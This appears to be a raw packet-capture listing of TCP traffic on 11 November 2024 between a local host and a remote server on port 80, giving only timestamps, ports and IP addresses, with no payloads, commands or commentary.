Nov 11, 2024 19:17:31.165213108 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:31.165302038 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:31.165312052 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:31.165321112 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:31.929481983 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:31.929543972 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.294430971 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.299431086 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.494786978 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.494827986 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.494841099 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.494859934 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.494967937 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.494967937 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.495188951 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.495220900 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.495239019 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.495251894 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.495264053 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.495277882 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.495277882 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.495277882 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.495737076 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.496035099 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.496049881 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.496061087 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.496124029 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.496311903 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.546073914 CET	49677	443	192.168.2.7	20.50.201.200
Nov 11, 2024 19:17:32.607844114 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.607868910 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.607881069 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.607892990 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.607906103 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.608074903 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.608074903 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.608149052 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.608313084 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.608325005 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.608335972 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.608347893 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.608360052 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.608388901 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.608771086 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.609244108 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.609256029 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.609267950 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.609345913 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.609345913 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.609643936 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.609656096 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.609723091 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.609735012 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.609746933 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.609838009 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.609989882 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.610536098 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.610548973 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.610559940 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.610572100 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.610698938 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.610698938 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.720563889 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.720602989 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.720638037 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.720707893 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.720727921 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.720741034 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.720741987 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.720755100 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.720757961 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.720768929 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.720791101 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.720834017 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.721112967 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721127987 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721141100 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721153021 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721185923 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.721261024 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.721494913 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721590042 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.721606016 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721618891 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721631050 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721642971 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721656084 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.721674919 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.721710920 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.721710920 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.722338915 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.722352028 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.722364902 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.722378016 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.722392082 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.722404957 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.722405910 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.722423077 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.722433090 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.722439051 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.722466946 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.722466946 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.722728968 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.723252058 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.723297119 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.723310947 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.723328114 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.723361015 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.723373890 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.723385096 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.723397017 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.723411083 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.723423958 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.723423958 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.723476887 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.723476887 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.725733042 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725821018 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725836992 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725845098 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.725852013 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725863934 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725872993 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.725897074 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725908995 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725923061 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725924015 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.725924015 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.725938082 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725950956 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725964069 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725975990 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.725984097 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.725987911 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.726015091 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.726015091 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.726093054 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.833878040 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.833894968 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.833906889 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.833920002 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834006071 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834017992 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834028959 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834033966 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834039927 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834045887 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834059954 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834059000 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834074020 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834125996 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834161997 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834197044 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834218979 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834232092 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834249020 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834260941 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834289074 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834604979 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834616899 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834628105 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834640980 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834667921 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834681034 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834681034 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834681034 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834692955 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834706068 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834714890 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834714890 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834717035 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834731102 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.834749937 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834749937 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834796906 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.834796906 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.835261106 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835427046 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835438967 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835449934 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835462093 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835469007 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.835478067 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835488081 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.835494995 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835508108 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835517883 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835522890 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835529089 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835530043 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.835530043 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.835541964 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.835575104 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.835709095 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.836236954 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836322069 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836333990 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836344957 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836354017 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.836358070 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836373091 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836385012 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836394072 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.836426020 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836438894 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836450100 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836452007 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.836452007 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.836462975 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836477041 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.836492062 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.836492062 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.836525917 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.837202072 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837259054 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837270975 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837385893 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837399006 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837409973 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837415934 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.837424040 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837436914 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837450027 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837460995 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837469101 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.837472916 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837486029 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.837500095 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.837533951 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.838088989 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.838258982 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838283062 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838294983 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838305950 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838325977 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838341951 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838354111 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838356018 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.838356018 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.838372946 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838376045 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.838386059 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838398933 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838407040 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.838411093 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838426113 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.838439941 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.838479042 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.838479042 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.839355946 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839369059 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839380026 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839390993 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839402914 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839412928 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839420080 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839432001 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839437962 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.839452982 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839461088 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.839469910 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839482069 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839489937 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.839493990 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.839519978 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.839519978 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.839589119 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.840173960 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.840192080 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.840204000 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.840214968 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.840281010 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.840281010 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.946861982 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.946892977 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.946913004 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.946934938 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.946958065 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.946970940 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.946980000 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.946986914 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.946991920 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947005033 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947025061 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947035074 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947048903 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947058916 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947071075 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947082043 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947093010 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947108030 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947182894 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947192907 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947192907 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947192907 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947192907 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947192907 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947208881 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947222948 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947227955 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947303057 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947323084 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947331905 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947335005 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947349072 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947360992 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947377920 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947377920 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947400093 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947412014 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947424889 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947446108 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947447062 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947462082 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947475910 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947489023 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947496891 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947527885 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947532892 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947568893 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947581053 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947597980 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947597980 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947650909 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947663069 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947673082 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947685003 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947691917 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947698116 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947745085 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947745085 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947753906 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947767019 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947777033 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947820902 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947844982 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947866917 CET	49699	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:32.947916985 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947936058 CET	80	49699	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:32.947949886 CET	49699	80	192.168.2.7	185.215.113.206
